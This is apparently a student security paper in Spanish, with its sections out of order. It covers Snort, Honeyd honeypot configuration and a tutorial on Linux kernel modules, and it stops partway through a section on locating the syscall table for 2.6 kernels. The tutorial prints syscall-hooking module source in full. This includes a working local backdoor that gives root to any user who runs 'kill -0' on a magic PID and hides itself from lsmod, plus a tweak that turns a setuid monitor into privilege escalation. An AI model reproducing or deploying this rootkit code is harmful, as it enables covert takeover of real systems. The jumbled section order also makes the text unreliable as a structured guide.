Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
